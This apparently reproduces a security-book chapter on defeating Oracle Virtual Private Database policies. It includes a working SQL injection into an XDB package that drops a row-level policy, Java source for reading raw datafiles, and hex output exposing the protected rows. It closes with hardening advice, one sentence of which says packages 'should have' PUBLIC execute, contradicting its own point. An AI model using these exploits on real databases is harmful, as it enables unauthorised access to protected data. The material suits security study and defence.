Defeating Virtual Private Databases

2017-11-03 09:05:09

This chapter assumes you have an understanding of virtual private databases (VPD). If you don't, I recommend Effective Oracle Database 10g Security by Design by David Knox (McGraw-Hill, 2004). In short, a VPD is a security mechanism built into Oracle that allows fine-grained access control - or row-level security. It can be considered a view on steroids, and it is used to enforce a security policy. Essentially, VPDs allow a user to access only the data that the policy specifies they can access, and no more. However, there are a number of ways of defeating VPD. This chapter looks at a few.

Tricking Oracle into Dropping a Policy

VPDs are created using the DBMS_RLS package. The DBMS_FGA package can also be used - it does exactly the same thing. Incidentally, the RLS stands for row-level security, and the FGA stands for fine-grained access. If we want to see who can execute this package, we get the following:

SQL> select grantee,privilege from dba_tab_privs where table_name ='DBMS_RLS'; GRANTEE PRIVILEGE ------------------------------ EXECUTE_CATALOG_ROLE EXECUTE XDB EXECUTE WKSYS EXECUTE SQL> select grantee,privilege from dba_tab_privs where table_name ='DBMS_FGA'; GRANTEE PRIVILEGE ------------------------------ EXECUTE_CATALOG_ROLE EXECUTE

Looking at this, if we can execute code as XDB or WKSYS, then we can manipulate RLS policies. Before we start, this let's set up a simple VPD. First, create the user who will own the VPD:

SQL> CONNECT / AS SYSDBA Connected. SQL> CREATE USER VPD IDENTIFIED BY PASS123; User created. SQL> GRANT CREATE SESSION TO VPD; Grant succeeded. SQL> GRANT CREATE TABLE TO VPD; Grant succeeded. SQL> GRANT CREATE PROCEDURE TO VPD; SQL> GRANT UNLIMITED TABLESPACE TO VPD; Grant succeeded. SQL> GRANT EXECUTE ON DBMS_RLS TO VPD; Grant succeeded.

With that done, we can set up a table for use as a VPD. For this example, we'll create a table that stores army orders:

SQL> CONNECT VPD/PASS123 Connected. SQL> CREATE TABLE VPDTESTTABLE (CLASSIFICATION VARCHAR2(20), 2 ORDER_TEXT VARCHAR(20), RANK VARCHAR2(20)); Table created. SQL> GRANT SELECT ON VPDTESTTABLE TO PUBLIC; Grant succeeded. SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK) VALUES ('SECRET','CAPTURE ENEMY BASE','GENERAL'); 1 row created. SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK) VALUES('UNCLASSIFIED','UPDATE DUTY ROTA','CORPORAL'); 1 row created. SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK) VALUES('SECRET','INVADE ON TUESDAY','COLONEL'); 1 row created. SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK) VALUES('UNCLASSIFIED','POLISH BOOTS','MAJOR'); 1 row created.

Before setting up a VPD, because we've given PUBLIC the execute permission, anyone can get access to orders marked as SECRET:

SQL> CONNECT SCOTT/TIGER Connected. SQL> SELECT * FROM VPD.VPDTESTTABLE; CLASSIFICATION ORDER_TEXT RANK -------------------- -------------------- --------- SECRET CAPTURE ENEMY BASE GENERAL UNCLASSIFIED UPDATE DUTY ROTA CORPORAL SECRET INVADE ON TUESDAY COLONEL UNCLASSIFIED POLISH BOOTS MAJOR

We'll set up a Virtual Private Database to prevent this. First we create a function that returns a predicate - essentially a where clause that is appended to the end of queries against the table:

SQL> CONNECT VPD/PASS123 Connected. SQL> CREATE OR REPLACE FUNCTION HIDE_SECRET_ORDERS(p_schema IN VARCHAR2,p_object IN VARCHAR2) 2 RETURN VARCHAR2 3 AS 4 BEGIN 5 RETURN 'CLASSIFICATION !=''SECRET'''; 6 END; 7 / Function created.

With the function created, it's now possible to use it to enforce the policy - which we'll call SECRECY:

SQL> BEGIN 2 DBMS_RLS.add_policy 3 (object_schema => 'VPD', 4 object_name => 'VPDTESTTABLE', 5 policy_name => 'SECRECY', 6 policy_function => 'HIDE_SECRET_ORDERS'); 7 END; 8 / PL/SQL procedure successfully completed.

Now if we reconnect as SCOTT and select from this table, we'll only see non-secret orders:

Time to get access again…

Earlier it was noted that XDB could execute the DBMS_RLS package. The-oretically, if we could find a flaw in any of the packages owned by XDB, we could exploit this to drop the policy. After a moment of searching for such a flaw to turn the theoretical practical, we come across one in the DB_PITRIG_PKG package - a SQL injection flaw:

SQL> CONNECT SCOTT/TIGER Connected. SQL> SELECT * FROM VPD.VPDTESTTABLE; CLASSIFICATION ORDER_TEXT RANK -------------------- -------------------- -------------- UNCLASSIFIED UPDATE DUTY ROTA CORPORAL UNCLASSIFIED POLISH BOOTS MAJOR SQL> CREATE OR REPLACE FUNCTION F RETURN NUMBER AUTHID CURRENT_USER IS 2 PRAGMA AUTONOMOUS_TRANSACTION; 3 BEGIN 4 DBMS_OUTPUT.PUT_LINE('HELLO'); 5 EXECUTE IMMEDIATE 'BEGIN SYS.DBMS_RLS.DROP_POLICY(''VPD'',''VPDTESTTABLE'',''SECRECY''); END;'; 6 RETURN 1; 7 COMMIT; 8 END; 9 / Function created. SQL> CREATE TABLE FOO (X NUMBER); SQL> EXEC XDB.XDB_PITRIG_PKG.PITRIG_DROP('SCOTT"." FOO" WHERE 1=SCOTT.F()--','BBBB'); PL/SQL procedure successfully completed. SQL> SELECT * FROM VPD.VPDTESTTABLE; CLASSIFICATION ORDER_TEXT RANK -------------------- -------------------- -------------------- SECRET CAPTURE ENEMY BASE GENERAL UNCLASSIFIED UPDATE DUTY ROTA CORPORAL SECRET INVADE ON TUESDAY COLONEL UNCLASSIFIED POLISH BOOTS MAJOR SQL>

Now we have access to secret orders again. So what's going on here? The PITRIG_DROP procedure of the XDB_PITRIG_PKG package is vulnerable to SQL injection, and because this package is executable by PUBLIC, anyone can execute SQL as XDB. We create a function called F that executes the following:

BEGIN SYS.DBMS_RLS.DROP_POLICY('VPD','VPDTESTTABLE','SECRECY'); END;

This drops the SECRECY policy from the VPDTESTTABLE. We then inject this function into XDB_PITRIG_PKG.PITRIG_DROP where it executes with XDB privileges, thus dropping the policy and giving us access to the secret data again. In addition, the FOO table is created and left empty to stop the "ORA-31007: Attempted to delete non-empty container" error we'd get if we used, for example, SCOTT.EMP. Frankly, any SQL injection flaw in a definer rights package owned by SYS would have worked equally well - but the point is served. If you don't know the name of the policy on the VPDTESTTABLE, you can just get this information from the ALL_POLICIES view:

SQL> select OBJECT_OWNER, OBJECT_NAME, POLICY_NAME FROM ALL_POLICIES; OBJECT_OWNER OBJECT_NAME POLICY_NAME ------------ ----------- ------------- VPD VPDTESTTABLE SECRECY

Defeating VPDs with Raw File Access

You can entirely bypass database enforced access control by accessing the raw data file itself. This is fully covered in Chapter 11 - but here's the code now:

SET ESCAPE ON SET ESCAPE "" SET SERVEROUTPUT ON CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADBINFILE" AS import java.lang.*; import java.io.*; public class JAVAREADBINFILE { public static void readbinfile(String f, int start) throws IOException { FileInputStream fis; DataInputStream dis; try { int i; int ih,il; int cnt = 1, h=0,l=0; String hex[] = {"0", "1", "2","3", "4", "5", "6", "7", "8","9", "A", "B", "C", "D", "E"," F"}; RandomAccessFile raf = new RandomAccessFile (f, "r"); raf.seek (start); for(i=0; i<=512; i++) { ih = il = raf.readByte() & 0xFF; h = ih >> 4; l = il & 0x0F; System.out.print("\\x" + hex[h] + hex[l]); if(cnt \% 16 == 0) System.out.println(); cnt ++; } } catch (EOFException eof) { System.out.println(); System.out.println("EOF reached "); } catch (IOException ioe) { System.out.println("IO error: "+ ioe); } } } / show errors / CREATE OR REPLACE PROCEDURE JAVAREADBINFILEPROC (p_filename IN VARCHAR2, p_start in number) AS LANGUAGE JAVA NAME 'JAVAREADBINFILE.readbinfile (java.lang.String, int)'; / show errors /

Once this has been created you can use it to read the files directly - in this case, the VPDTESTTABLE exists in the USERS tablespace:

SQL> set serveroutput on SQL> exec dbms_java.set_output(2000); PL/SQL procedure successfully completed. SQL> exec JAVAREADBINFILEPROC('c:\oracle\oradata\orcl10G\USERS01.DBF',3129184) ; x03x1Bx01x80x02x02x2Cx01x03x0Cx55x4Ex43x4Cx41x53 x53x49x46x49x45x44x0Cx50x4Fx4Cx49x53x48x20x42x4F x4Fx54x53x05x4Dx41x4Ax4Fx52x2Cx01x03x06x53x45x43 x52x45x54x11x49x4Ex56x41x44x45x20x4Fx4Ex20x54x55 x45x53x44x41x59x07x43x4Fx4Cx4Fx4Ex45x4Cx2Cx01x03 x0Cx55x4Ex43x4Cx41x53x53x49x46x49x45x44x10x55x50 x44x41x54x45x20x44x55x54x59x20x52x4Fx54x41x08x43 x4Fx52x50x4Fx52x41x4Cx2Cx01x03x06x53x45x43x52x45 x54x12x43x41x50x54x55x52x45x20x45x4Ex45x4Dx59x20 x42x41x53x45x07x47x45x4Ex45x52x41x4Cx06x06x1ExE2 x06xA2x00x00x7Ex01x00x01x1ExE2x1Fx00x00x00x01x04 xBEx1Ex00x00x01x00x0Bx00x17xCBx00x00x01xE2x1Fx00 .. ..

PL/SQL procedure successfully completed. This output contains the secret data - for example, from the last three bytes on line 3 we have the following:

x53x45x43x52x45x54x11x49x4Ex56x41x44x45 S E C R E T I N V A D E x20x4Fx4Ex20x54x55x45x53x44x41x59 O N T U E S D A Y

General Privileges

I've seen a number of servers that have granted PUBLIC the execute permission of DBMS_RLS, and several tutorials on virtual private databases that do the same. This is not a good idea. There are also other packages that should have the execute permission for PUBLIC, such as SYS.LTADM, which has a procedure called CREATERLSPOLICY that directly calls the DBMS_RLS.ADD_POLICY procedure. DBMS_FGA is clearly another. WK_ADM, owned by WKSYS, is executable by PUBLIC and allows limited modification of policies.

Lastly, if someone can grant themselves the EXEMPT ACCESS POLICY system privilege - for example, via a SQL injection flaw - then policies will not apply to them.

Wrapping Up

In this chapter you have looked at a couple of ways that virtual private databases can be defeated. The same ideas, especially the raw file access method, can be applied to Oracle Label Security and the new Database Vault product. Encryption of data should be considered as a must for highly sensitive applications.

Tricking Oracle into Dropping a Policy

Defeating VPDs with Raw File Access

General Privileges

Wrapping Up

Категории